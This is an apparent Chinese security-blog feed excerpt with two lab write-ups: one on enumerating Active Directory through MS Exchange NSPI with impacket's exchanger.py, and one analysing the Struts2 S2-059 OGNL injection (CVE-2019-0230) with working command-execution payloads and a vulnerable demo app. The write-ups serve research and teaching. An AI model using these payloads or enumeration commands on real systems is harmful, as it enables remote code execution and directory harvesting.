href="https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcrpc/137f0ce2-31fd-4952-8a7d-6c0b242e4b6a" target="_blank" rel="noopener">MS‑OXCRPC</a></td><td>A4F1DB00-CA47-1067-B31F-00DD010662DA v0.81</td><td>有线格式协议EMSMDB接口</td></tr><tr><td><a href="https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcrpc/137f0ce2-31fd-4952-8a7d-6c0b242e4b6a" target="_blank" rel="noopener">MS‑OXCRPC</a></td><td>5261574A-4572-206E-B268-6B199213B4E4 v0.1</td><td>有线格式协议AsyncEMSMDB接口</td></tr><tr><td><a href="https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxabref/88c2b896-fe4f-4e28-8a87-e83a73d9c90e" target="_blank" rel="noopener">MS‑OXABREF</a></td><td>1544F5E0-613C-11D1-93DF-00C04FD7BD09 v1.0</td><td>通讯簿名称服务提供商接口（NSPI）推荐协议</td></tr><tr><td><a href="https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxnspi/63662a26-c8fc-4493-a41a-fbcbb7e43136" target="_blank" rel="noopener">MS‑OXNSPI</a></td><td>F5CC5A18-4264-101A-8C59-08002B2F8426 v56.0</td><td>Exchange服务器名称服务提供程序接口（NSPI）协议</td></tr></tbody></table><p><strong>MS‑OXNSPI 与 MS-NSPI 相似，且 UUID 一致</strong></p><p>MS-OXCRPC是 Ruler 用来向 Exchange 发送 MAPI 消息的协议，而 MS-OXABREF 和 MS-OXNSPI 是两个新的可用协议。</p><h3 id="分析-MS-OXABREF-与-MS-OXNSPI"><a href="#分析-MS-OXABREF-与-MS-OXNSPI" class="headerlink" title="分析 MS-OXABREF 与 MS-OXNSPI"></a>分析 MS-OXABREF 与 MS-OXNSPI</h3><p><a href="https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxnspi/63662a26-c8fc-4493-a41a-fbcbb7e43136" target="_blank" rel="noopener">MS-OXNSPI</a>：Exchange Server Name Service Provider Interface (NSPI) Protocol，Exchange 服务器名称服务提供程序接口（NSPI）协议</p><p><a href="https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxabref/88c2b896-fe4f-4e28-8a87-e83a73d9c90e" target="_blank" rel="noopener">MS-OXABREF</a>：Address Book Name Service Provider Interface (NSPI) Referral Protocol，通讯簿名称服务提供程序接口（NSPI）Referral 协议</p><p>看下官方文档中的 NSPI 的 NspiDNToMId (Opnum 7) 方法描述</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200731164454319.png" alt="image-20200731164454319"></p><p>将一组 DNs 映射到一组 Minimal Entry ID（用于唯一标识地址簿对象），这里的 DNs 是指 Legacy DNs，在前面的 Autodiscover 中有</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200731165110808.png" alt="image-20200731165110808"></p><p>使用其 Legacy DN 请求用户的信息，通过 MS-OXNSPI 连接到 Exchange 并执行 NspiDNToMId 操作</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200731170703232.png" alt="image-20200731170703232"></p><p>通过获取的临时标识符请求所有对象的属性</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200731170826885.png" alt="image-20200731170826885"></p><h3 id="MIDs-和-Legacy-DNs-的格式"><a href="#MIDs-和-Legacy-DNs-的格式" class="headerlink" title="MIDs 和 Legacy DNs 的格式"></a>MIDs 和 Legacy DNs 的格式</h3><p>上文提到了 DNs，还有一个 <a href="https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxnspi/902ede0d-bb0a-46f0-bf68-03a6ed08d4e8" target="_blank" rel="noopener">Minimal Entry ID</a>，用来标识地址簿的，文档中没有公开算法，下面使用 MS-OXNSPI 的 NspiGetSpecialTable（Opnum 12）来获取地址簿，方法详情可参阅文档 <a href="https://interoperability.blob.core.windows.net/files/MS-OXNSPI/[MS-OXNSPI].pdf" target="_blank" rel="noopener">https://interoperability.blob.core.windows.net/files/MS-OXNSPI/%5bMS-OXNSPI%5d.pdf</a> 第 40 页</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200731173944662.png" alt="image-20200731173944662"></p><p>其中 PidTagAddressBookContainerId 的值为地址簿的 Minimal Entry ID（根据文档 <a href="https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxoabk/4fe5bb0c-fbfe-41c2-a3e5-59fe5e683ee3" target="_blank" rel="noopener">PidTagAddressBookContainerId</a>），而且是从 -16 往下递减的</p><p>转为无符号整数来看就是从 0xfffffff0 开始递减</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt; hex(-16 &amp; 0xffffffff)</span><br><span class="line">&apos;0xfffffff0&apos;</span><br><span class="line">&gt;&gt;&gt; hex(-17 &amp; 0xffffffff)</span><br><span class="line">&apos;0xffffffef&apos;</span><br><span class="line">&gt;&gt;&gt; hex(-18 &amp; 0xffffffff)</span><br><span class="line">&apos;0xffffffee&apos;</span><br></pre></td></tr></table></figure><p>上图中形如 <code>/guid=D7D867F86D0E2746AD85547FB24BC918</code> 的 PidTagEntryId 表示一个新的 Legacy DN 格式，<a href="https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxoabk/06e45f59-e371-404f-8805-ea5e99ebb7ba" target="_blank" rel="noopener">2.2.3.2 PidTagEntryId</a>，用这个新格式可以请求 Active Directory 对象</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200731180248671.png" alt="image-20200731180248671"></p><p>目前可以通过 GUID 或者 MID 来获取 Active Directory 对象信息，那如何获取所有 Active Directory 对象的 GUID 或者 MID 呢？</p><h3 id="MIDs（Minimal-Entry-ID）的其它格式"><a href="#MIDs（Minimal-Entry-ID）的其它格式" class="headerlink" title="MIDs（Minimal Entry ID）的其它格式"></a>MIDs（Minimal Entry ID）的其它格式</h3><p>Exchange 使用 LDAP 和 MS-NSPI 协议连接到 DC 以访问 Active Directory 数据库， 且 MS-NSPI 又是一种和 MS-OXNSPI 相似的 MSRPC 协议，方法基本相同，所以 MS-NSPI 是除了 LDAP 和 MS-DRSR（或 DcSync 和 DRSUAPI）之外第三个能访问 Active Directory 数据库的协议</p><p>通过 MS-NSPI 连接到域控制器</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200731183850785.png" alt="image-20200731183850785"></p><p>获取地址簿列表</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200731195123286.png" alt="image-20200731195123286"></p><p>在上文中也提到了，PidTagAddressBookContainerId 表示的就是 MId（Minimal Entry ID），不同的是，域控制器上的一个 MId 表示一个 DNT 对象，Distinguished Name Tags (DNTs) 是域控制器 NTDS.dit 数据库内部对象的 4 字节整形索引</p><p>但是通过使用  NspiUpdateStat 方法可以将指定的地址簿 ContainerID（Exchange MID）转换为域控的 MID，即返回信息中的的 CurrentRec 字段值，详情可参阅文档 <a href="https://interoperability.blob.core.windows.net/files/MS-OXNSPI/[MS-OXNSPI].pdf" target="_blank" rel="noopener">https://interoperability.blob.core.windows.net/files/MS-OXNSPI/%5bMS-OXNSPI%5d.pdf</a> 第 42 页</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200803113512545.png" alt="image-20200803113512545"></p><p>如下所示，不过这里的 MID 好像不太正常</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200803114147207.png" alt="image-20200803114147207"></p><h3 id="使用-exchanger-py"><a href="#使用-exchanger-py" class="headerlink" title="使用 exchanger.py"></a>使用 exchanger.py</h3><p>工具位于 impacket/examples 目录下，主要通过 MS-NSPI 实现实现攻击，</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200803121403405.png" alt="image-20200803121403405"></p><p><strong>列出地址簿获取所有地址列表</strong></p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 impacket/examples/exchanger.py J0K3R/tester:<span class="string">'Qwer1234'</span>@j0k3r.top nspi  list-tables -count</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200803123223296.png" alt="image-20200803123223296"></p><p>该功能其实就是利用 NSPI 的 NspiGetSpecialTable 方法，-debug 选项中能看到 MID</p><p><strong>获取指定地址簿的数据</strong></p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 impacket/examples/exchanger.py J0K3R/tester:<span class="string">'Qwer1234'</span>@j0k3r.top nspi dump-tables -name 所有用户 -lookup-type EXTENDED</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200803123334777.png" alt="image-20200803123334777"></p><p>该部分则是在 NspiGetSpecialTable 获取地址簿层次表的基础上查询指定地址簿的数据，通过 update_stat 函数，再利用 NSPI 的 NspiUpdateStat 方法根据 MID 更新在指定表中的位置</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200804105258629.png" alt="image-20200804105258629"></p><p>然后利用 NspiQueryRows 方法返回关于表中一组行的信息</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200804110037188.png" alt="image-20200804110037188"></p><p>最终将信息格式化输出</p><p><strong>已知 GUID 攻击</strong></p><p>通过 GUID/GUIDs 获取 Active Directory对象，比如获取 tester2 用户的所有信息</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 impacket/examples/exchanger.py J0K3R/tester:<span class="string">'Qwer1234'</span>@j0k3r.top nspi guid-known -guid 4d4a3ddd-86a0-471c-b31e-c655342f1999 -lookup-type FULL</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200803124715790.png" alt="image-20200803124715790"></p><p>该部分主要是通过 <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nspi/7c059171-6427-4e9b-9c3b-69d0c51d87bb" target="_blank" rel="noopener">NspiResolveNamesW</a> 方法通过模糊名称解析 (ANR) 这种搜索算法来查询对象</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200804111501455.png" alt="image-20200804111501455"></p><p>我们输入的 guid 将会被转为 /guid 的 legacyDN 形式，比如所有用户地址簿的Guid：82621831-97cf-4085-ac72-acdaf3e47488 转换后为 PidTagEntryId: /guid=31186282CF978540AC72ACDAF3E47488，在 NspiGetSpecialTable 中可以直接获取</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200804112131514.png" alt="image-20200804112131514"></p><p>最后 print_row 输出对象信息</p><p><strong>专有名称标签查找（Distinguished Name Tags，DNTs）</strong></p><p>可以通过 DNT 查找指定范围内的所有 Active Directory 中的记录</p><p>我们可以在域控主机上通过 LDP 查看一下 DNT，运行输入 LDP.exe 打开程序，点击左上角连接，选择连接到本地，再进行绑定，可以使用当前管理账户</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200803141239375.png" alt="image-20200803141239375"></p><p>确定绑定之后，进入浏览 —&gt; 修改，添加属性 dumpdatabase，值如果没有特殊要求的话可以写随便写个 name，没有值会抛出参数错误</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200803141656014.png" alt="image-20200803141656014"></p><p>填好值，点击输入，然后运行，在 C:\Windows\NTDS 目录下会生成一个 ntds.dmp，可以使用 notepad 打开，其默认就包含了 DNT 等字段信息</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200803141949998.png" alt="image-20200803141949998"></p><p>还能够看到 Administrator 等用户</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200803142107350.png" alt="image-20200803142107350"></p><p>使用 exchanger.py 查看有关信息</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 impacket/examples/exchanger.py J0K3R/tester:<span class="string">'Qwer1234'</span>@j0k3r.top nspi dnt-lookup -lookup-type EXTENDED -start-dnt 3802 -stop-dnt 3805</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200803142224816.png" alt="image-20200803142224816"></p><p>因为在域控制器中 DNT 代表 MId，这里输入指定的 DNT 范围，传入 NspiQueryRows 的参数为 lpETable，lpETable 表示一个 MId 列表，见 <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nspi/d2b081c0-33be-4ebe-9926-bba4dbc4a596" target="_blank" rel="noopener">3.1.4.8 NspiQueryRows (Opnum 3)</a>  <img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/attack MS Exchange Web.assets/image-20200804114728429.png" alt="image-20200804114728429"></p><p>最后打印输出对象信息</p><h2 id="Reference："><a href="#Reference：" class="headerlink" title="Reference："></a>Reference：</h2><p><a href="https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/" target="_blank" rel="noopener">https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/</a></p><p><a href="https://xpertstec.com/step-by-step-installation-of-exchange-server-2019/" target="_blank" rel="noopener">https://xpertstec.com/step-by-step-installation-of-exchange-server-2019/</a></p><p><a href="https://www.miensi.com/733.html" target="_blank" rel="noopener">https://www.miensi.com/733.html</a></p><p><a href="https://paper.seebug.org/775/" target="_blank" rel="noopener">https://paper.seebug.org/775/</a></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;国外渗透测试专家  &lt;a href=&quot;https://swarm.ptsecurity.com/author/arseniy-sharoglazov/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Arseniy Sharoglazov&lt;/a&gt; 在 &lt;a href=&quot;https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Attacking MS Exchange Web Interfaces&lt;/a&gt; 一文中描述了一种新的攻击 ms exchange 的方法，于是搭建本地测试环境进行研究，学习下 NSPI 攻击 Exchange 的原理&lt;/p&gt;
    
    </summary>
    
    
      <category term="渗透" scheme="http://j0k3r.top/tags/%E6%B8%97%E9%80%8F/"/>
    
      <category term="Exchange" scheme="http://j0k3r.top/tags/Exchange/"/>
    
  </entry>
  
  <entry>
    <title>S2-059 漏洞与不同 Struct2 版本的 Payload 分析</title>
    <link href="http://j0k3r.top/2020/08/14/struct2-s2-059/"/>
    <id>http://j0k3r.top/2020/08/14/struct2-s2-059/</id>
    <published>2020-08-13T16:00:00.000Z</published>
    <updated>2020-08-30T15:45:52.461Z</updated>
    
    <content type="html"><![CDATA[<p> 2020.08.13 由官方发出安全通告</p><a id="more"></a><h2 id="漏洞描述："><a href="#漏洞描述：" class="headerlink" title="漏洞描述："></a>漏洞描述：</h2><p>Apache Struts 2 会对某些标签属性（比如 id）的属性值进行二次表达式解析，因此在某些场景下将可能导致远程代码执行。</p><p>此问题仅适用于当在 Struts 标签属性内强制进行 OGNL 表达式解析时的情况</p><p><a href="https://cwiki.apache.org/confluence/display/WW/S2-007" target="_blank" rel="noopener">https://cwiki.apache.org/confluence/display/WW/S2-007</a></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;s:url <span class="keyword">var</span>=<span class="string">"url"</span> namespace=<span class="string">"/employee"</span> action=<span class="string">"list"</span>/&gt;&lt;s:a </span><br><span class="line">id="%&#123;skillName&#125;" href="%&#123;url&#125;"&gt;List available Employees&lt;/s:a&gt;</span><br></pre></td></tr></table></figure><p>如果攻击者能够在请求中控制 <code>skillName</code> 属性值且应用未对其进行检查校验，则攻击者可以直接传入一个 OGNL 表达式，那么最终当标签渲染的时候，<code>skillName</code> 的表达式就会因为二次解析而被执行。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">影响：</span><br><span class="line">Struts 2.0.0 - Struts 2.5.20</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">解决：</span><br><span class="line">升级到 Struts 2.5.22</span><br></pre></td></tr></table></figure><h2 id="漏洞分析："><a href="#漏洞分析：" class="headerlink" title="漏洞分析："></a>漏洞分析：</h2><p>该漏洞在昨天也就是 2020.08.13，由官方发出安全通告，声明对其存在的一个远程代码执行漏洞进行修复</p><p>CVE 编号为 CVE-2019-0230</p><p>看到这个漏洞的时候，因为最近刚好在调试分析 struct2 的一些历史漏洞，所以想到了最开始的 s2-001，在 s2-001 中漏洞产生的原因就是递归解析表达式，s2-059 也是二次解析，那么有什么不同呢，下面简单分析下</p><h3 id="Struct-2-3-10-分析"><a href="#Struct-2-3-10-分析" class="headerlink" title="Struct 2.3.10 分析"></a>Struct 2.3.10 分析</h3><p>paylaod：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%&#123;#a=(new java.lang.ProcessBuilder(new java.lang.String[]&#123;&quot;whoami&quot;&#125;)).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(&quot;com.opensymphony.xwork2.dispatcher.HttpServletResponse&quot;),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()&#125;</span><br></pre></td></tr></table></figure><p>根据漏洞描述简单新建个环境</p><p>定义一个 action</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> top.j0k3r.s2059.action;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.opensymphony.xwork2.ActionSupport;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">IndexAction</span> <span class="keyword">extends</span> <span class="title">ActionSupport</span> </span>&#123;</span><br><span class="line">    <span class="keyword">private</span> String name = <span class="keyword">null</span>;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="title">IndexAction</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setName</span><span class="params">(String message)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">this</span>.name = message;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> String <span class="title">getName</span><span class="params">()</span> </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">this</span>.name;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>structs.xml 配置 action</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">action</span> <span class="attr">name</span>=<span class="string">"s2059"</span> <span class="attr">class</span>=<span class="string">"top.j0k3r.s2059.action.IndexAction"</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">result</span> <span class="attr">name</span>=<span class="string">"success"</span>&gt;</span>/pages/s2059/index.jsp<span class="tag">&lt;/<span class="name">result</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">action</span>&gt;</span></span><br></pre></td></tr></table></figure><p>index.jsp</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">&lt;%@ page language=<span class="string">"java"</span> contentType=<span class="string">"text/html; charset=UTF-8"</span></span><br><span class="line">         pageEncoding=<span class="string">"UTF-8"</span>%&gt;</span><br><span class="line">&lt;%@ taglib prefix=<span class="string">"s"</span> uri=<span class="string">"/struts-tags"</span> %&gt;</span><br><span class="line">&lt;!DOCTYPE html PUBLIC <span class="string">"-//W3C//DTD HTML 4.01 Transitional//EN"</span> <span class="string">"http://www.w3.org/TR/html4/loose.dtd"</span>&gt;</span><br><span class="line">&lt;html&gt;</span><br><span class="line">&lt;head&gt;</span><br><span class="line">    &lt;meta http-equiv=<span class="string">"Content-Type"</span> content=<span class="string">"text/html; charset=UTF-8"</span>&gt;</span><br><span class="line">    &lt;title&gt;S2-059&lt;/title&gt;</span><br><span class="line">&lt;/head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">&lt;h2&gt;S2-059 Demo&lt;/h2&gt;</span><br><span class="line">&lt;p&gt;link: &lt;a href=<span class="string">"https://cwiki.apache.org/confluence/display/WW/S2-059"</span>&gt;https:<span class="comment">//cwiki.apache.org/confluence/display/WW/S2-059&lt;/a&gt;&lt;/p&gt;</span></span><br><span class="line">&lt;s:url var="url" namespace="/" action="s2059?name=j0k3r"/&gt;&lt;s:a id="%&#123;name&#125;" href="%&#123;url&#125;"&gt;demo&lt;/s:a&gt;</span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><p>web.xml</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">filter</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">filter-name</span>&gt;</span>struts2<span class="tag">&lt;/<span class="name">filter-name</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">filter-class</span>&gt;</span>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter<span class="tag">&lt;/<span class="name">filter-class</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">filter</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">filter-mapping</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">filter-name</span>&gt;</span>struts2<span class="tag">&lt;/<span class="name">filter-name</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">url-pattern</span>&gt;</span>/*<span class="tag">&lt;/<span class="name">url-pattern</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">filter-mapping</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">welcome-file-list</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">welcome-file</span>&gt;</span>/pages/s2059/index.jsp<span class="tag">&lt;/<span class="name">welcome-file</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">welcome-file-list</span>&gt;</span></span><br></pre></td></tr></table></figure><p>这里 struts2-core 版本使用的是 2.3.1，后面 2.5.x 版本禁止访问 context.map，而且黑名单成了不可变集合，不同的 struct 版本，payload 也是不同的</p><p>先传入一个 <code>%{11-1}</code> 测试下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/s2059.action?name=%25%7B11-1%7D</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814122444370.png" alt="image-20200814122444370"></p><p>可以看到成功解析了</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%&#123;#a=(new java.lang.ProcessBuilder(new java.lang.String[]&#123;&quot;/Applications/Calculator.app/Contents/MacOS/Calculator&quot;&#125;)).start()&#125;</span><br></pre></td></tr></table></figure><p>下断点 debug，看下流程走向</p><p>当解析 JSP 的时候 来到 struts2-core-2.3.1.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class 的 doStartTag 方法</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814123221625.png" alt="image-20200814123221625"></p><p>继续跟进直到 struts2-core-2.3.1.jar!/org/apache/struts2/components/UIBean.class 的 evaluateParams 方法，后面调用了 populateComponentHtmlId 方法，跟进</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814123542144.png" alt="image-20200814123542144"></p><p>还是位于 UIBean 中，可以看出，这个 id 就是我们输入的 paylaod，也就是设置的 id 的值，再继续跟进 findStringIfAltSyntax</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814123731379.png" alt="image-20200814123731379"></p><p>判断之后会通过 struts2-core-2.3.1.jar!/org/apache/struts2/components/Component.class 的 findString 方法进行处理</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814124348163.png" alt="image-20200814124348163"></p><p>Component 调用 findValue 方法，这是能看到熟悉的 translateVariables 方法，在 s2-001中就是该方法递归解析 <code>%{}</code> 导致执行用户输入的恶意 ognl 表达式</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814124425403.png" alt="image-20200814124425403"></p><p>看下 translateVariables 方法</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814150656156.png" alt="image-20200814150656156"></p><p>添加了 loopCount 判断解析层数，防止二次解析，获取我们输入的 ognl 表达式内容后，再看后面 findValue 处理</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814150925954.png" alt="image-20200814150925954"></p><p>在往后交给会由 OgnlUtil.getValue 处理表达式，导致代码执行</p><p>上面流程是由 doStartTag 开始分析的，而 doStartTag 执行完后，会来到 doEndTag 方法</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814151425476.png" alt="image-20200814151425476"></p><p>来到 evaluateParams 方法，位于 struts2-core-2.3.1.jar!/org/apache/struts2/components/UIBean.class</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814151609633.png" alt="image-20200814151609633"></p><p>能看出，下面还会在调用一次 populateComponentHtmlId 方法</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814151709366.png" alt="image-20200814151709366"></p><p>所以会执行两次</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814151750196.png" alt="image-20200814151750196"></p><h3 id="Struct-2-3-20-分析"><a href="#Struct-2-3-20-分析" class="headerlink" title="Struct 2.3.20 分析"></a>Struct 2.3.20 分析</h3><p>直接来到 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/util/OgnlTextParser.class 的 evaluate 方法，取出表达式内容交给 evaluator.evaluate </p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814155614227.png" alt="image-20200814155614227"></p><p>往下跟进 evaluate  方法</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814155855075.png" alt="image-20200814155855075"></p><p>一路跟进来到 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/ognl/OgnlValueStack.class 的 getValue 方法</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814160123938.png" alt="image-20200814160123938"></p><p>但是往下 getValue 完了也没有执行命令，在回来深入 getValue 一路跟到 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/ognl/OgnlUtil.class 的 compileAndExecute</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814160939410.png" alt="image-20200814160939410"></p><p>再一路跟进来到 ognl-3.0.6.jar!/ognl/Ognl.class 的 getValue 方法，执行表达式</p><p><img 